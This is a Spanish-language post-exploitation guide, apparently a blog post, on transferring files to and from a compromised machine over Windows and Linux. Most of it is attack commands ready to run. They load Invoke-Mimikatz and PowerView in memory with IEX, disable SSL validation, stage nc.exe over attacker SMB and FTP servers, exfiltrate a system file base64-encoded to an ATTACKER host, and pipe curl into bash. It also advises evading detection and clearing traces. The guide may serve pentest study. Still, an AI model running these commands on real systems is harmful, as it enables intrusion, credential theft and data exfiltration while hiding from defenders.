Métodos para Transferir Archivos

1. Contexto y Preparación

Imagina que tienes ejecución remota en un servidor (máquina vulnerada), pero existe una política que impide escribir archivos. Necesitas llevar herramientas al sistema remoto. En redes con filtros estrictos (GitHub, FTP bloqueados), exploraremos múltiples canales: HTTP, SMB, FTP, Base64 in-memory, WebDAV, y más.


2. Transferencias en Windows

2.1. Base64 en PowerShell (sin red)

1) Calcular MD5 del archivo local

PS C:\davidalvk> md5sum id_rsa
4e301756a07ded0a2dd6953abf015278  id_rsa

Máquina atacante: Calcula el hash MD5 del archivo local para validar su integridad tras la transferencia.

2) Codificar archivo en Base64

PS C:\davidalvk> cat id_rsa | base64 -w 0; echo
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS...==

Máquina atacante: Convierte el contenido del archivo a Base64 en una sola línea, evitando saltos.

3) Reconstruir archivo en destino

PS C:\davidalvk> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",
    [Convert]::FromBase64String("LS0tLS1CRUdJTiBPUEVOU1NI...") )

Máquina vulnerada: Reconstruye el archivo a partir de la cadena Base64 recibida.

4) Verificar integridad en destino

PS C:\davidalvk> Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5

Máquina vulnerada: Verifica el hash MD5 del archivo en el destino para asegurar que coincide con el original.

2.2. Descarga por HTTP/HTTPS en PowerShell

1) Descargar archivo con WebClient

(New-Object Net.WebClient).DownloadFile(
  'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1',
  'C:\Users\Public\Downloads\PowerView.ps1'
)

Máquina vulnerada: Descarga un script remoto y lo guarda en una ruta local.

2) Ejecutar script en memoria

IEX (New-Object Net.WebClient).DownloadString(
  'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1'
)

Máquina vulnerada: Carga y ejecuta directamente en memoria un script remoto, sin escribir archivos en disco.

3) Usar Invoke-WebRequest + IEX

Invoke-WebRequest 'https://<ip>/PowerView.ps1' -UseBasicParsing | IEX

Máquina vulnerada: Usa Invoke-WebRequest con parsing básico para obtener y ejecutar el contenido.

4) Desactivar validación SSL

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Máquina vulnerada: Desactiva la validación de certificados SSL para evitar bloqueos por errores de certificado.

2.3. Descarga SMB

1) Iniciar servidor SMB con Impacket

sudo impacket-smbserver share -smb2support /tmp/smbshare

Máquina atacante (Linux): Levanta un servidor SMB compartiendo la carpeta /tmp/smbshare.

2) Copiar archivo desde SMB

copy \\192.168.220.133\share\nc.exe C:\Temp\nc.exe

Máquina vulnerada: Copia el binario nc.exe desde el recurso SMB a la ruta local.

3) SMB con autenticación

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Máquina atacante (Linux): Arranca el servidor SMB con autenticación de usuario y contraseña.

4) Mapear unidad SMB y copiar

net use N: \\192.168.220.133\share /user:test test
copy N:\nc.exe C:\Temp\nc.exe

Máquina vulnerada: Mapea la unidad SMB a N: usando credenciales y copia el archivo deseado.

2.4. Descarga FTP

1) Levantar servidor FTP con pyftpdlib

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21

Máquina atacante (Linux): Instala pyftpdlib y levanta un servidor FTP local en el puerto 21.

2) Descargar archivo FTP con WebClient

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt',
  'C:\Users\Public\ftp-file.txt')

Máquina vulnerada: Descarga un archivo vía FTP y lo guarda en la ruta especificada.

3) Sesión FTP automatizada

echo open 192.168.49.128 > ftpcommand.txt
... echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Máquina vulnerada: Automatiza una sesión FTP con un script de comandos para subir o bajar archivos.

2.5. Subida de Archivos en Windows

1) Codificar hosts en Base64 y enviar

$b64 = [Convert]::ToBase64String((Get-Content -path C:\Windows\system32\drivers\etc\hosts -Encoding byte))
Invoke-WebRequest -Uri http://ATTACKER:8000/ -Method POST -Body $b64

Máquina vulnerada: Codifica en Base64 un archivo de hosts y lo envía al atacante mediante POST HTTP.

2) Escuchar y reconstruir Base64

nc -lvnp 8000 > out.b64
echo out.b64 | base64 -d > hosts

Máquina atacante: Recibe la cadena Base64 en el lado atacante, decodifica y recrea el archivo original.

3) Copiar archivo a recurso SMB

copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\

Máquina vulnerada: Sube un archivo al recurso compartido SMB destino.

4) Subir archivo vía FTP

(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts',
  'C:\Windows\System32\drivers\etc\hosts')

Máquina vulnerada: Utiliza WebClient para cargar un archivo local hacia un servidor FTP.

5) Script FTP de Windows para PUT

echo open 192.168.49.128 > ftpcommand.txt
... echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Máquina vulnerada: Script FTP de Windows para subir el archivo de hosts al servidor remoto.


3. Transferencias en Linux

3.1. Base64 en Bash (sin red)

1) Generar MD5 del archivo local

davidalvk@hacker$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278  id_rsa

Máquina atacante: Genera el hash MD5 para comprobar luego la integridad.

2) Codificar en Base64

cat id_rsa | base64 -w 0; echo

Máquina atacante: Codifica el archivo en Base64 en una línea para copiarlo más fácil.

3) Decodificar Base64 en destino

echo '<string>' | base64 -d > id_rsa

Máquina vulnerada: Decodifica la cadena Base64 y crea el fichero id_rsa en destino.

4) Verificar integridad

md5sum id_rsa

Máquina vulnerada: Verifica que el hash del archivo recreado coincide con el original.*

3.2. Descarga con wget y curl

1) Descargar con wget

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Máquina vulnerada: Descarga un script remoto y lo guarda en /tmp/LinEnum.sh usando wget.

2) Descargar con curl

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Máquina vulnerada: Hace lo mismo que wget, pero con curl.*

3.3. Descarga con Python como fallback

1) Descargar con Python

python3 -c "import urllib.request; urllib.request.urlretrieve('http://.../file','/tmp/file')"

Máquina vulnerada: Usa Python estándar para descargar recursos HTTP si wget/curl no están disponibles.*

3.4. Métodos sin archivos (piping)

1) Piping con curl

curl http://.../script.sh | bash

Máquina vulnerada: Descarga y ejecuta un script en una sola tubería, sin escribir el archivo.*

2) Piping con git clone

git clone ... | bash

Máquina vulnerada: Clona un repositorio y pasa su salida directamente a un intérprete.*

3.5. Transferencias SSH/SCP

1) Descargar archivo con SCP

scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe

Máquina atacante: Copia un archivo desde el host remoto hacia la máquina local usando SCP.*

2) Subir archivo con SCP

scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip

Máquina atacante: Enviar un archivo local al sistema remoto empleando SCP.*


4. Consejos Finales

  • MD5/SHA: siempre valida integridad.
  • Evita payloads largos: PowerShell en cmd tiene límite de 8191 caracteres.
  • Firewalls y filtros: prueba varios puertos (80, 443, 445).
  • LOTL: usa binarios nativos para evitar detección.
  • Registro: limpia rastros y monitoriza tus herramientas.

Comparte esta Publicación en Redes Sociales